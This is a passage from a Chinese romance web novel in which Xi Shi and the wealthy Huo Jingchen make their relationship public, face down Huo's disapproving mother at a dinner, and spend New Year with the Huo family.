身材一个赛一个好。 特别是最后一个男模,他身材不像其他男模一样瘦削,身上有壮硕的肌肉, 浓眉大眼,留着短短的胡须, 看起来就非常狂猛非常有男人味。 他身上戴的珠宝也是粗犷派的, 奚时刚刚摸霍景沉脚时, 就觉得这种脚应该戴那种很粗的镣铐。 现在这个男人健壮有力的脚腕上,就是戴着三指宽的脚环, 上面镶嵌着一颗颗的珍珠, 每走一步, 脚环都晃一下,非常蓬勃有力,完美地贴合了奚时的想象。 这才是真正的行走的荷尔蒙啊,每走一步都像在释放强悍的信息素,令人血脉偾张。 “哇, 哥,他好帅哦!” 男模特走完回到后台看不见时, 奚时才收回快要黏人家身上的视线, 拉霍景沉找认同感。 霍景沉:“……” 该死,不就是身材好点么,有什么好看的?他的身材不比他差! 霍景沉语气危险:“他帅还是我帅?” “……”咳。 奚时一秒心虚,立刻说:“当然是哥你帅, 这些男人都是过眼云烟, 初看惊艳, 看多了就审美疲劳了,哪像哥你, 又帅身材又好,结合了他们全部优点,我怎么看都看不厌。” 这一番马屁让霍总原谅了这操蛋的世界一秒。 算了,奚小时只是过过眼瘾,爱美之心人皆有之,不能剥夺他看帅哥的权利。 男模特走完后,大家又全部出来晃了一圈,走秀就结束了,接下来是在四楼举办的酒会式晚宴,这种没有一点感情全是交际的宴会,霍景沉自然是不去的。 反正场子已经帮奚朝撑起来了,那些人现在都知道他很有可能成为霍景沉的大舅子,只会上赶着巴结讨好,而不会半路离场。 奚朝也没安排他出现在酒会的环节,酒会结束后,侍者把他们带到了一个专门的休息室,并询问他们需不需要用餐,五楼餐厅随时为他们二人服务。 “吃饭就不用了吧?”奚时看向霍景沉。 霍景沉也不想在大舅哥随时会蹦出来的地方和奚时用餐,点头说:“我们去外面吃。” 奚时:“那我们现在就走吧,麻烦帮我们把拍的东西拿过来一下。” “好的,两位稍等。” 侍者出去了约摸10分钟就回来了,不但把霍景沉拍的两样东西都装在精美的盒子里送过来了,还给了伴手礼,看样子也是珠宝,而且价格不菲。 虽然奚朝对霍景沉鼻子不是鼻子眼睛不是眼睛的,但面子功夫做得很足。 奚朝随着侍者一块来的,奚时见到他,说:“哥你去忙你的,不用管我们。” 他知道前面什么珠宝展示,拍卖,走秀,奚朝只要在场就行,只有这个酒会,是他要亲自交际应酬的,一定很忙。 奚朝心说是我想来么,要不是老子需要把面子功夫做足,亲自送霍景沉出去,谁想看你跟老男人眉来眼去。 “不耽误,”奚朝问,“刚刚的秀好看么?” “好看!哥,你怎么会想到请男模啊?” 以前他们这个珠宝秀只有女模特,毕竟现在珠宝绝大部分受众,都是女性。 他哥这也是开先河了。 奚朝看了眼霍景沉,微笑道:“展示一下男性魅力,尝试能不能开拓新市场。” 奚时立刻说:“感觉很有希望,今天那些男模身上的都很好看,哥你一定会成功的,是吧?” 说着,奚时转向霍景沉,显然最后那个是问他的,霍景沉语无波澜地点点头,说:“祝你成功。” 奚朝今天当了一天孙子,从这祝你成功四个字咂摸出了咬牙切齿的意味,终于感觉气顺了一些。 他做了个请的姿势:“请吧霍总,我送你们出去。” 奚朝一直把他们送上车才折身回去,看在外人眼中就是两家关系和睦,霍景沉并没有一边和奚时交往,又一边在他家人面前摆高高在上的谱,显然对奚时是有几分真心的。 真让人羡慕又嫉妒啊! 奚时被寒风吹得瑟瑟发抖,赶紧先钻进车内,霍景沉也随后进来,见他一副差点嗝屁的样子,忍不住笑问:“这么怕冷怎么不带件外套?” “落我自己车上了,哎我哥送的什么伴手礼,我可以看看吗?”奚时问。 他其实好喜欢拆礼物的,只是收到礼物的机会不多,满足不了他这个小爱好。 “可以,看吧。” 奚时立刻把袋子拿过来,里面一个圆形大盒子和一个心形小盒子,大盒子应该是每位嘉宾都有的伴手礼,里面是香水、护肤品和一枚珍珠胸针。 心形小盒子里的应该是给霍景沉这位贵客单独额外准备的伴手礼,奚时打开,随即“哇”了一声。 盒子里装的是两枚胸针,白金做成弯曲羽毛状的胸针轮廓,羽毛的羽枝上面镶嵌着一粒粒珍珠,两枚胸针放在一起,刚好组成一个爱心的形状。 霍景沉挑眉:“看来是你哥送给我们俩的礼物。” 就是不知道是真心送的,还是捏着鼻子送的。 得到哥哥这么直白的礼物,奚时笑弯了眼,拿起其中一个胸针说:“我给你戴上。” 霍景沉也拿起另一枚,帮奚时戴。 他们今天都穿着西装,和这胸针适配度绝佳,戴上之后,奚时怎么看都觉得好般配,靠着霍景沉,拍了好几张没露脸的照片发朋友圈。 配文:哥哥送的礼物。 片刻之后,刷新出一条新朋友圈,霍总一张不差地盗走了奚时的照片,连文案都盗走了。 配文:大舅哥送的礼物。 这条朋友圈一发,两个人的点赞和评论都肉眼可见地蹭蹭蹭往上涨,特别是霍景沉的,他微信里有不少合作的老总。 他平时从不发朋友圈,第一次发朋友圈就是一条公开恋情的,摆明了这位的重要性,大伙儿都赶来恭贺他。 他们都默契地没问奚时的身份,毕竟霍景沉首富这两个字放在那里,如果他们知道了他对象的身份,容易引来个别想铤而走险一夜暴富之人的觊觎,奚时的人身安全得不到保障。 不过即便奚时连脸都没露,这些人也能面不改色地夸他们般配,夸奚时优秀,奚时凑过去看了几眼霍景沉的评论,看得他目瞪口呆。 跟这些老狐狸比起来,他还是太要脸了。 奚时回复了几个朋友圈的好友评论,退回微信聊天界面,发现有好些平常不怎么联系的好友来找他。 有问他和霍景沉是真的还是玩玩,也有人问他怎么和霍景沉勾搭上的。 最多的还是一些酸溜溜的话,奚时把那些酸他的全丢进了免打扰,免打扰列表一下壮大了不少呢。 他一直潜伏那个“穿着高定吃西瓜”的群也艾特了他几次,也多半是酸他的,还有人说他是邵寻的破鞋,根本配不上霍景沉,霍景沉现在是被鬼迷了心窍,等他看清他真面目后一定会甩了他云云。 酸味都快从群里溢出来了。 这些人都不存在于奚时列表,甚至他都不认识,他倒不生气,反倒看得挺乐呵。 他就喜欢看这些人酸得不行又无能为力的样子,feel倍儿爽。 霍思远:我才看到我小叔跟你的朋友圈。 霍思远:恭喜恭喜,终于修成正果啦! 霍思远:[可怜]小婶儿,以后你可要罩着我。 你咋不上天:行啊。 你咋不上天:以后你小叔要收拾你,我会帮你多吹几把枕边风添油加醋的[微笑] 霍思远:我错了,是小叔夫!小叔夫求罩! 你咋不上天: 关掉霍思远的聊天框,奚时又看到了另一个人的消息。 学弟: 学弟:恭喜。 奚时抿了下唇,其实他对霍思议,还是心存抱歉的,虽然在知道他是霍景沉的儿子之后,就第一时间跟他说清楚了情况,表示自己不会跟他联姻。 但这也改变不了他曾经答应了霍思议的联姻,都走到见家长这一步了又反悔的事实。 要是分开后安分地埋在土里,别在人家面前晃,那也没什么。 结果好么,不但以后经常要在人家面前晃,还要让他接受自己跟他爸在一起的事情,ex之程度,挂小绿书都能被骂几万条评论。 奚时对着输入框戳了半天,道歉吧,又感觉有点虚伪求原谅的感觉,回个谢谢吧,又有点单薄,扯点什么吧,又找不到话题,总不能问你吃了没这种问题吧。 霍景沉见他对着手机纠结,问:“怎么了?” 奚时把手机屏幕给他看。 霍景沉看完,冷漠道:“回同喜,毕竟他有妈了。” 奚时:“” 这父子关系能维系到现在没破裂也是奇迹。 奚时无视了霍景沉的意见,这时,手机又嗡了几下,霍思议又发来消息。 学弟:[图片] 学弟:学长,你正在输入有五分钟了,不会是在写什么小论文吧[惊恐] “……” 所以微信这个对方正在输入的功能有时候就很逆天。 奚时汗颜了一下,实话实说:不是,我不知道回什么。 学弟:学长不用纠结,虽然我还是有一点难过,但我会努力克服自己的情感的。 学弟:以后你把我跟霍思远一样看待就行了,怎么对他,就怎么对我。 学弟:不过,如果你把老头子甩了,我对你又还有感情的话,我还是会追求你的! 奚时:“” 虽然最后一句话有点不好评价,不过奚时还是感谢于霍思议的懂事,笑着给他回了个好。 回完,他挑衅地看向霍景沉:“霍总,发表一下感想。” 奚时就靠在霍景沉肩膀上看微信,没有避着他的意思,霍景沉一偏头,看到自家大孝子这言论,差点气笑了。 他说:“我的感想是他需要定一门婚约冷静冷静,你觉得呢?” 奚时才不信霍景沉会这样做,问:“你舍得啊?” 霍景沉哼笑:“把我惹急了让他去睡大街,有什么舍不得的。” 奚时眼眸清亮地看着霍景沉:“那我呢,我把你惹急了也要睡大街吗?” “云顶那房子我已经转你名下了,”霍·一家之主·景沉很有骨气地说,“我会离家出走。” 奚时:“” 你可真棒棒呢。 他才想起来,之前霍景沉给了他一份财产转让协议,乱七八糟的财产一大堆,他没仔细看有什么,原来把房子都转给他了吗? 那时候他们都还没复合吧,霍景沉心真大啊,也不怕他拿着钱跑路。 珠宝展会结束后,时间也离新年越来越近了,霍景沉代的商务英语选修早结束了,奚时考试拿了满分,为霍总的代课生涯画下了完美的句号。 选修课考完试后,专业课慢慢停掉了,迎来了让大学生痛苦又期待的考试周。 奚时虽然咸鱼得很,但对自己的学习成绩又还存在要求,不允许自己的期末考成绩掉出专业前三。 所以他进入了高强度复习状态,以前下课后还会想和霍景沉去约约会,现在会也不约了,每天在学校图书馆复习到闭馆才离开学校。 不过霍景沉年底比他更忙,经常天南地北地飞,有时候还出差去国外,两人不知不觉就半个多月没见面了。 平安夜这天,郭昊跟他女朋友去过节,肖楠这单身狗知道他们景老师在外地出差后,欣然邀请奚时去吃火锅。 奚时看他单身狗惨惨的,就答应了,难得在晚上6点以前离开了学校。 由于是临时起意,没跟家里的司机说,他们要打车去吃火锅的地方,6点是下班下课高峰期,今天又是平安夜,出去玩的人很多,打车app排起了长队,根本打不到车。 “要不就在附近学生街找个地方吃吧。”肖楠提议道。 二人傻子一样站在校门口,冻得瑟瑟发抖,平时一伸手就能拦到的出租车,这会儿全部都显示有客。 附近的东西吃了两年多,早吃腻了,奚时说:“我让我家司机过来接我们吧。” “那也行吧。” 奚时刚拿出手机,一辆黑色的轿车停在他们面前,车门打开,一个西装革履的男人从驾驶座下来,见到奚时,态度客气地问道:“您是奚二少吧?” 奚时不认识这个男的,略警惕地问:“你是?” “我是霍家主母亲的司机,霍夫人想见见您,请您吃个饭,让我来请您过去。” 霍景沉的妈? 奚时听霍思议提起过,霍景沉父母由于是联姻,关系很差,对于霍景沉这个他们做恨时意外而来的孩子更是没有一点感情,还没满月就把他丢给了霍景沉的外公外婆带。 后来霍景沉跟他确认关系时,也说了不用管他父母,他是霍家家主,有绝对说话权。 于是奚时直接拒绝道:“不好意思,我跟我同学有事,没空去。” “您同学也可以一起去,奚二少,您要是不想您家的那些珠宝被贵妇圈排斥的话,我建议您还是去一趟,夫人她很好说话的。” 奚时:“” 奚时听得拳头都硬了,好好好,用他哥的事业来威胁他是吧。 他知道霍夫人在霍景沉面前或许没什么说话权,但她毕竟是首富母亲,光是这个身份,也能让她在贵妇名媛圈横着走,要是她真的振臂一呼,抵制他们家的珠宝,那奚家刚摸到的一点高端市场门槛,又要被狠狠踢下去。 他哥已经很艰难了,奚时不想再给他添麻烦。 “楠子,这顿火锅欠着,我改天再请你,你先回去吧。”奚时转头对肖楠说。 肖楠立刻说:“他不是说也请我么,免费的饭不吃白不吃,你休想把我支走!” 奚时知道他是看出了这司机来者不善,不敢让他单独去,想了想说:“那行,你也去吧。” 反正霍夫人的目的是他,最过分也是给他一张支票让他离开她儿子,应该不会为难肖楠。 司机给他们打开车门,奚时和肖楠坐上车,司机把他们带到了一个法餐厅,服务员领着他们到了一个私人包间,敲开门后,做了个请的姿势。 奚时带着从没来过这么高档的餐厅、走路都差点同手同脚的肖楠走进去,就见到包厢里面坐着两个女人。 不得不说,有钱人跟普通人真的不一样,乍一看奚时根本看不出来哪个是霍母,包厢里的两人像两姐妹似的,霍母按照霍景沉的年龄推算,最少应该也是55左右的人了,里面两人,哪个看起来都不像这个年纪的。 不过多看两眼,就会发现真年轻和保养好的年轻,还是有很大区别的,特别是眼睛,真年轻的那位明显更明亮有灵气。 奚时刚走进包间,霍母的目光就冷冷地扫过来,直接锁定奚时,几乎像打量商品一样把他仔细扫了一遍,随即不冷不热地说:“来了啊,坐吧。” 服务员帮他们拉开椅子,奚时在其中一张坐下来,肖楠也拘谨地在另一张上坐下来。 年轻的那个女人刚好坐在奚时的对面,她温和地冲奚时笑了笑说:“你好,我叫白静。” 原来她就是白静啊。 白静不算那种明艳型的大美人,但非常耐看,而且浑身有一种让人很舒服的温和气质,和小短剧里尖酸刻薄的恶毒女配完全不一样。 霍夫人说:“她还有个身份你或许没听说,她是我们家景沉的未婚妻。” 白静:“干妈,您别” 霍夫人做了个打断她的手势,说:“今天把你找来,你应该也知道我的目的,我只认白静一个儿媳,希望你离开景沉。” 果然是这个狗血的剧情。 奚时笑了笑,说:“您找错人了吧,这话您应该跟霍景沉说,那么问题来了,您为什么不找他呢,是因为他不听么?” 霍夫人:“” 霍夫人冷下脸:“这就是你跟长辈说话的态度,你的教养呢?” 奚时:“不好意思啊,我从小无父无母无人教养,野蛮生长惯了,看不惯您只能憋着了。” “” 肖楠本来很紧张的,听到奚时这话,忍不住噗嗤一声笑出来。 霍夫人感觉自己被嘲笑了,狠狠地瞪了肖楠一眼,又看向奚时,忽然也笑了。 “奚时,你大概还不明白,我确实没法逼着景沉跟你分开,但我在整个贵妇名媛圈的影响力,绝对可以做到只要我一句话,就能让你家的小珍珠彻底失去高端市场。” 奚时当然明白,不然他现在也不会坐在这里了。 表面看奚夫人只是燕京首富的母亲,但实际上,贵妇名媛圈,就跟娱乐圈一个样,喜欢跟风,喜欢攀比,燕京贵妇嫌弃的东西,别的地方的贵妇也会跟着抵制,以免被嘲笑。 霍夫人笑,奚时也跟着笑。 “你笑什么?” 霍夫人从没碰到过奚时这种对她一点敬重都没有的年轻人,你骂他没教养,人家还顺杆子爬,很气。 奚时说:“我笑您不明白形势,您有现在的身份和影响力,说白了都是霍景沉给您带来的,要是霍景沉不想给了,您说您还有这振臂一呼的影响力么?” 霍夫人眯起眼:“你威胁我?” “不是威胁哦,是警告,忘了跟您说,现在霍景沉的事我说的算,我是一个很恶毒很不孝连养育我的叔婶都对他们很冷血的人,您安分点,我敬您是霍景沉的母亲,大家相安无事,否则”奚时没接着往下说,但意思已经很明确了。 霍夫人听到他这样大放厥词,被激怒了,正要发火,这时包厢门被人敲了敲,接着一个人直接拧开门走进来,是霍景沉的私人助理何昼。 何昼是霍景沉的代言人,霍夫人见到他,即将发出来的火又忍下去了。 “霍夫人,白小姐,”何昼语气客气,“我来接奚二少跟他朋友。” 奚时站起身,拿起椅子上的外套,冲霍夫人微笑:“看来这顿饭我是没口福了,您二位慢用。” 说着,他拉着还在发愣的肖楠走了。 一直到走出餐厅,奚时才松了口气,腿一软差点跌倒,幸好肖楠手疾眼快地扶了他一把。 “我的妈,我第一次在人面前装吊,吓死我了。”奚时拍拍胸口说。 肖楠:“” 肖楠刚刚见他和那个气势压人的霍夫人叫板,还觉得他好厉害,原来都是装出来的。 何昼也赶忙扶他,说:“抱歉奚先生,是我来晚了。” 奚时:“没事,我也得把我台词说完不是,不然我这一趟就白来了。” 霍夫人这贵妇圈领军人物的身份,始终对于奚家是个威胁,如果不让她知道他可以管霍景沉的事情,代他摘去这个身份给霍夫人带来的荣光,她始终会捏着这个软肋拿捏他。 所以刚刚那番威胁是很有必要的。 之后霍景沉再威胁一下,她就不敢蹦跶了。 正在这时,他们听到身后有人叫奚时,奚时回过头去,发现居然是那个白静追出来了。 白静冲奚时歉意地笑了笑,说:“不好意思啊,干妈她刚刚说的话你别放心上,我跟景沉哥没什么关系,曾经我确实对他动过心,甚至因仰慕他的身份和地位,发誓非他不嫁,但那都是年轻时干的蠢事了,现在我是个不婚主义。” 这个白静从奚时第一次听到她的名字起,好像她的身份就是情敌般的存在。 但今天见到她本尊,感觉她给人的感觉并不讨厌。 她大概就是霍夫人理想中那种很有教养的姑娘,跟古代高门贵族培养出来的大家闺秀一样,知书达理。 奚时冲她点点头,说:“我没放心上。” “你真好看,我要早几年碰到你,说不定就是非你不嫁了。”白静冲他眨眨眼。 奚时:“” 白静在自己手上的包里翻了翻,翻出一支香水:“初次见面,我也没准备什么礼物,这香水还没开封过,就当是见面礼吧,祝你跟景沉哥幸福。” 奚时犹豫了一下,还是接过来:“谢谢。” 白静笑弯了眼,冲他摆摆手说:“那我进去啦,拜拜。” 等白静离开,肖楠忍不住说:“这位小姐姐好有气质啊,她叫景老师的母亲干妈,那她不是不对啊,奚哥,景老师不是姓景吗,怎么他母亲又叫霍夫人?” 奚时:“” 奚时扶额,他好像一直没跟室友说过霍景沉身份的事情。 他只能简单把霍景沉的身份,以及和霍思议的身份交代了一下。 肖楠听完目瞪口呆,其实上次在马场他们听到有人叫景老师霍总他们就有所察觉的,但他们都以为是当时太混乱搞错了,没深究,谁知道,这其中这么复杂。 和肖楠吃完饭后,奚时直接回了家,刚到家,霍景沉的视频就打过来了,他忙到现在才结束,才看到何昼给他留言说奚时被他妈找去的事情。 奚时把跟他妈的对话一五一十地复述了一遍,霍景沉听完,松了一口气,说:“你的做法是对的,我妈那人,就是弹簧,你强她弱,你弱她强。” “你们关系不是不好么,她怎么会管你婚事?”奚时好奇地问。 霍景沉吐出两个字:“闲的。” “”好像也没毛病,奚时把白静送的香水拿出来,在镜头前晃了晃,说,“白静小姐姐送的,她人还怪好嘞,还祝福我们。” 霍景沉不置可否。 但凡奚时早一两年认识白静,就不会说出这种话来了,霍景沉有段时间看到她和自己母亲就生理性厌恶。 现在这样也挺好,不然奚时要天天被白静和他妈找麻烦,说不定一气之下撂挑子把他踹了,找谁说理去。 不过,他明明警告过他们别去找奚时的麻烦,看来最近他谈恋爱脾气变好,这些人小心思又活泛起来了。 “你考试快考完了吧?”霍景沉问。 “嗯,31号考完最后一科,就解放啦。” “那新年去我家过?” 霍家没几个省油的灯,自从他们的关系公开后,应该有不少人动小心思,他妈只是打响了第一炮而已。 这些人,想见干脆让他们见好了。 省得他照看不到的地方,这些人又去找奚时麻烦。 奚朝新年肯定要陪婶婶和奚玥他们,奚时不想跟她们一起过,闻言说:“好啊,我跟我哥说一声。” 奚朝最近也很忙,自从霍景沉出现在他们家的珠宝展览会,他们家的地位说是一夜飙升也不过分,霍景沉的身份是真的好用,加上他发的那条朋友圈,更是证实了他对奚时的情感。 大舅哥的事业就这么被带飞了。 虽然很不想承认,但大舅哥最近走路都是轻飘飘的。 11点半,刚结束应酬回到家的奚朝见到奚时没像平时一样在房间复习,而是窝在沙发上等他,知道这弟弟一准有事,而且一准和霍景沉有关。 奚朝装作不知道,在他身边坐下来,问:“考试考完了?” “还没,”奚时扭扭捏捏,犹豫半响才开口,“霍景沉邀请我新年去他家过。” 好好好,果然是来拐他弟弟的。 奚朝想着现在他妈也不想见奚时,没必要生硬地把一家人凑一起,让奚时和霍景沉过,他也开心,于是说:“准了。” 奚时却并没有欢呼,还小心翼翼又心虚地看他一眼,再看他一眼。 奚朝:“” 他忍不住揉眉心:“你有屁就放。” “就”奚时对手指,声音小得像蚊子,“我可以在他家过夜吗?” 奚朝:??? 人体信号不好他好像没听清,有本事你再说一遍?! 【正文完】 第59章 第 59 章 奚朝家开了个临时审讯。 审讯人:奚朝。 嫌疑人:奚时, 霍景沉(未到位) 奚朝:“是不是霍景沉要你去过夜的?” 奚时:“不是,是我想在他那里过夜。” 奚朝:“他是不是跟你说,这种事情很快乐, 引诱你跟他尝试?” “”这种锅不能让霍总背,奚时眼神发飘, 说, “其实是我见色起意, 他身材太好了,脸又帅, 我把持不住了。” 奚朝:“……” 奚朝没料到是这种答案, 忍不住瞪他:“你出息呢!” 奚时:QAQ “哥, 你知道的,我又不是生活在封建时代的黄花大闺女。” 奚朝哪里会不知道,但就是……就是见不得自家的弟弟给霍景沉那老男人拱。 “哥哥……”奚时可怜巴巴。 “行了行了,”奚朝见不得他这样子,说, “想在那里过夜就过吧,我是管不了你了。” 奚时眼中迸发出欣喜:“谢谢哥!” 奚朝糟心地让他滚。 31号, 奚时考完最后一科, 今年的学业正式宣告结束,他步履轻松地走出校外,看到霍景沉的车后,一溜烟钻进去。 霍景沉坐的并不是他那辆价格嚣张车牌号也嚣张的座驾, 而是奚时给他买那辆5系。 这种车混在车流里, 并不会太显眼, 奚时也不想被学校的人过分关注,该低调时还是要低调, 不然被人扒出他和景老师谈恋爱,又要引起血雨腥风的。 这应该算奚时第三次来霍景沉家,第一次就不用提了,想起来就想把老男人暴揍一顿的程度,第二次他生病,自己被哥哥管制,偷偷来的,还被他哥逮了。 没想到第三次来,他们已经正式确认了关系,连他哥都同意他留下来过夜了。 四舍五入,这不等于结婚! 也不知道是因为新年,还是因为霍家的管家和佣人为了迎接新主人,从云顶花园的小区大门进去,一路就张灯结彩。 过了霍景沉住处的单独保安亭后,更是夸张,寒冬料峭,这里却是鲜花着锦,路两旁的树上挂着灯条和灯带,暖黄的风光流转,远远一看,像一树树火树银花,绚烂漂亮。 管家和佣人都站在门口迎接他们,霍景沉和霍思议两个人住的房子,居然足足有二十人为他们服务。 估计还不包括维系这一大个庄园的那些园丁和清洁的人。 “奚先生好,家主好。”众人排练过似的,整齐划一地问好。 吓得奚时差点躲回车里去了。 他发现这些人都穿着红色的工作服,无论男女,头上都戴着新年快乐的发箍,连严肃的管家也没逃过,看起来喜气洋洋的。 霍景沉显然也没料到这一出,见状眉毛一挑:“这是干什么,要压岁钱?” 家主积威甚重,众人齐齐缩了一下脖子。 奚时小声说:“你别吓他们呀。” 霍景沉于是说:“别杵在这里。” 管家冲他们摆摆手:“人都见到了,忙去吧。” 众人立刻作鸟兽散了,奚时轻轻舒出一口气,刚刚搞得他社恐都差点犯了。 他冲管家笑了笑:“又见面啦。” 管家头上还戴着新年快乐的发箍,看起来有点滑稽,他笑得很和蔼:“不好意思,吓到你了,他们就是想给你一个隆重点的欢迎仪式,顺便认认脸。” “谢谢,”奚时挠了挠头,又看了眼霍景沉说,“回头让你们家主发红包。” 管家笑得合不拢嘴:“夫人一来就给他们谋福利,要把他们开心坏了。” 奚时:“” 能不能不要叫他夫人,好雷的。 霍景沉走过来牵他的手,说:“明天再发,走吧,进屋里去。” 两人穿过院子,走进屋里,发现屋里面也是恍然一新,跟上次来时比起来,屋里新添了红灯笼、挂满福和红包的腊梅、金桔等,看得奚时都有点怀疑明天不是元旦,而是大年初一。 霍思议大概是听到了动静,正从楼上下来。 大学校园很小又很大,奚时恍然发现自从他和霍景沉确认关系后,就没和霍思议再见过面,这居然是他们继上次在辩论赛那天分开后,第一次见面。 “学长,”霍思议见到他,一如往常,笑眯眯地打招呼,“你来啦。” “嗯,”奚时面对他,还是有点尴尬,没话找话地说,“你考试考完了?” “还没,还要考三门。”提到这个话题,霍思议眼中的光都暗淡了。 奚时想起自己上大一的时候,要考的课程多,加起来要比大二大三的迟一周多放假,不禁对霍思议深表同情。 厨房知道今天奚时要上门,准备了丰盛的晚餐招待他,奚时还担心自己走到哪都想起来上次来的尴尬,特别是那顿不愉快的午饭,现在想起来还脚趾扣地的程度。 结果发现餐厅几乎和改造过了一样,完全大变样了,根本找不到一点上次来时的感觉。 三人不尴不尬地吃了一顿饭,霍思议就以复习为借口回房间去了,让奚时大大松了口气。 “要不要去走走?”霍景沉问。 奚时冲他眨眨眼:“外面好冷的,不如回房间交流一下感情?” “……”霍景沉被他不加掩饰的明示逗笑了,说,“好。” 霍景沉的房间倒是和上次他胃痛奚时偷跑来时一样,完全没有变,他的床上铺着厚厚的褥子,又软又暖和,奚时扑倒在他柔软的床上,整个人都有种要陷进去的感觉,舒服得他忍不住翻滚了两圈。 “我是不是第一个上你床的人?”他问霍景沉。 霍景沉在他旁边坐下来,说:“如果小时候的霍思议不算的话,是的。” 奚时从后面箍住霍景沉的脖子:“真的吗,再给你一次坦白从宽的机会。” “真的,”霍景沉抬头,在他嘴唇上亲了一下,“对了,我这边的堂亲明天想过来认认你的脸,行么?” 奚时知道霍氏家族庞大,堂亲很多,霍景沉这家主的对象,大家会想来认脸不奇怪,也可以避免出现相见不相识的尴尬。 而且霍景沉这老铁树忽然开花,肯定会有很多人好奇到底是怎么样的人能让他心动。 奚时没有什么不能见人的地方,点头说:“行啊,我需要准备红包吗?” “不用,他们不缺钱,等他们给你送礼物。” 奚时本以为霍景沉所说的送礼物是开玩笑的,没想到第二天霍家的人上门时,居然真的都带了礼物,盒子有大有小,有轻有重,都是送给他的。 霍家人奚时也不是全没见过,有些人奚时在某些酒会或者宴会见过,但都是态度倨傲高高在上的,奚小时连跟他们说话的资格都没有。 现在这些人,一个个都变得和蔼可亲,对着奚时,恨不能把他夸出花来。 而且奚时深深地体会到了霍景沉在霍家的辈分之大,一些看起来比霍景沉年纪还大的,见到他还一口一个恭敬的小叔,一些都长出白发的,霍景沉也只是淡淡地称他们为堂哥堂嫂,连带着奚小时也长了辈分。 霍思远也过来了,他看着胖了一些。 他把手上的礼物递给奚时,奚时跟他熟,问:“你们怎么都给我带礼物,是什么风俗吗?” 这会儿霍景沉刚好不在,霍思远放松地在他旁边坐下来,说:“哪里是什么风俗,是小叔他要求的,说要来看你的必须都要带礼物,不要求贵,但必须有新意。” “” 奚时确实挺爱收礼物,但他没表现得这么明显吧,霍景沉是怎么察觉到的。 奚时心里甜滋滋的,嘴上还半真不假地埋怨:“原来是他要求的啊,说不定大家以为是我要求的,对我第一印象就是虚荣爱收礼物。” “怕什么,”霍思远笑,“你大概还不了解小叔在霍家的份量,以后你就会明白,能给你送礼物,是大家的荣幸。” 奚时:“这么夸张的么?” “对啊,嚣张点,你可是家主夫人,在霍家横着走都没人敢说你。” 奚时:“” 那确实挺嚣张的。 霍思远离开后不久,又来了个很年轻的小姐姐,她自我介绍叫霍轻语,也是霍景沉某个堂哥的女儿。 看到奚时的第一眼,霍轻语的眼睛就亮了。 “哇,你好好看啊。” 霍轻语往四周看了一眼,不见她小叔,立刻用一副坏姐姐欺骗纯良无辜小弟弟的语气说:“小美人,你要不要来给姐姐当人体模特,我画技很好的哦。” 奚小时以前也被美院的邀请过去当人体模特,但都是要求全/裸的,奚小时不缺钱,也没为艺术献身的想法,于是拒绝了。 他笑了笑,说:“穿衣服的可以。” “嗐,我们学艺术的,衣服对我们来说只是蔽体的东西,完全没必要在意啊,我又不会有别的想法。” 奚时:“” “而且你身材这么好,穿衣服多可惜啊,我们讲究形体美嗯?你眼睛怎么啦,进灰尘啦?今天没沙尘暴啊。” “他在暗示你我来了。” 霍景沉不带任何感情的声音从霍轻语身后响起,吓得霍轻语差点从沙发上弹起来。 “小小小,小叔,”霍轻语声音都颤抖了,“你走路怎么没声音的。” 霍景沉冷冷地说:“有声音怎么能听到你偷拐我的人。” “哪有!”霍轻语笑得一脸狗腿,“我跟小婶婶开玩笑的,就算他敢脱,我也不敢画啊!” 霍景沉:“你的机场大楼呢?竣工了?” “我提的花仙子方案你又不同意,没灵感了,你让我给小婶画一张呗,我保证不会让他裸/体出镜的。” 霍景沉想到霍轻语刚给他那头顶带绿的大楼设计图,自己头上就差点绿了,断然拒绝:“他害羞,不爱被人盯着,你找别人去。” 霍轻语:“” 霍轻语只能悻悻的走了,霍景沉冲奚时伸出手说:“走吧。” “去哪里?”奚时被他牵着站起来,问。 “去霍思远那里吃晚饭。” “哦” 管家给他们拿了外套,霍思远的家也在云顶,离霍景沉这里不是太远,二人决定走过去,今天没太阳,风一吹,冷空气都钻进骨头缝里去了。 “好像要下雪了。”奚时看了眼灰蒙蒙的天空,缩着脖子说道。 霍景沉“嗯”了一声,拉着他的手,塞进自己的大衣口袋里,说:“应该会下几天大雪,雪天路滑,你要不要就在我这里多住几天?” 这算盘打得,他哥在奚家都要听到了。 奚时听笑了,说:“我在你这里过夜都是冒死争取来的,在你这里住几天,我哥就要提着刀砍过来了。” 霍景沉皱眉:“你哥怎么跟个封建大家长一样?” “谁让你给他第一印象这么差,以前我跟邵寻一起时,他也不这样管我啊。” “” 自己在大舅哥心目中的印象居然连邵寻那东西都不如,霍景沉深刻反省。 “开玩笑的,”奚时见他眉头紧锁,赶紧说,“主要是我们身份差距太悬殊了,我哥也是没安全感。” “以前我有个堂姑,也是跟一个位高权重的男人谈恋爱,那男的跟她谈时信誓旦旦,说什么会对我堂姑好一辈子爱着她,可玩腻之后就把她甩了,把我堂姑整得直接自杀了,差点没救回来。” “后来,我堂姑家里人去找那男的要说法,还被人家以让他家破产威胁,最后轻飘飘的一百万就把我堂姑打发了。” 霍景沉听得眉皱得更深了:“谁?” 奚时:“叶家的。” 霍景沉:“叶二?” 奚时点点头,用开玩笑的口吻问:“怎么,你还想帮她出这口陈年恶气啊。” “不用我出头,”霍景沉说,“叶二得了癌症,活不了几天了。” 奚时一愣,随即笑道:“那真是太好了,希望病魔早点战胜他。” 霍景沉却是若有所思。 霍思远家里很热闹,那种能坐二十几人的大圆桌,全部坐满了,而且气氛很好。 奚时还以为这种大家族明争暗斗,大家说不定一碰面就阴阳怪气,各种打机锋,事实证明他想太多了,霍景沉在这个家族里有绝对的话语权,在他面前大家都和和乐乐客客气气的,气氛比班级聚会还要好。 吃完饭后,奚时和霍景沉又散步回家,还绕着整个小区转了一圈消食。 今天是元旦,小区里过节的氛围还挺浓厚,有不少小孩在院子里玩小烟花,闻着空气里的硝烟味,奚时说:“过年我们也买点烟花玩吧霍总。” “好,玩心这么重啊?” “弥补一下想玩烟花的童年嘛。”奚时笑嘻嘻地说。 他这话说得很随意,霍景沉却从中品尝出了一点苦涩,伸手把他揽进怀里说:“好,你以前缺失的东西,我都会给你补上。” “那”奚时眼珠子转了转,“母爱也可以吗?” 霍总在奚小时屁股上捏了一下,说:“母爱有点难,但父爱可以。” “”奚时脸瞬间红了,他才不要在床上的父爱! 这时,奚时感觉有什么冰冰凉凉的东西落在了脸上,他抬起头,欣喜地说:“下雪了!” 霍景沉也抬头去看,果真见到纷纷扬扬的雪花从头顶飘下来,下雪对于燕京来说并不是什么稀罕事,每年都要来几场。 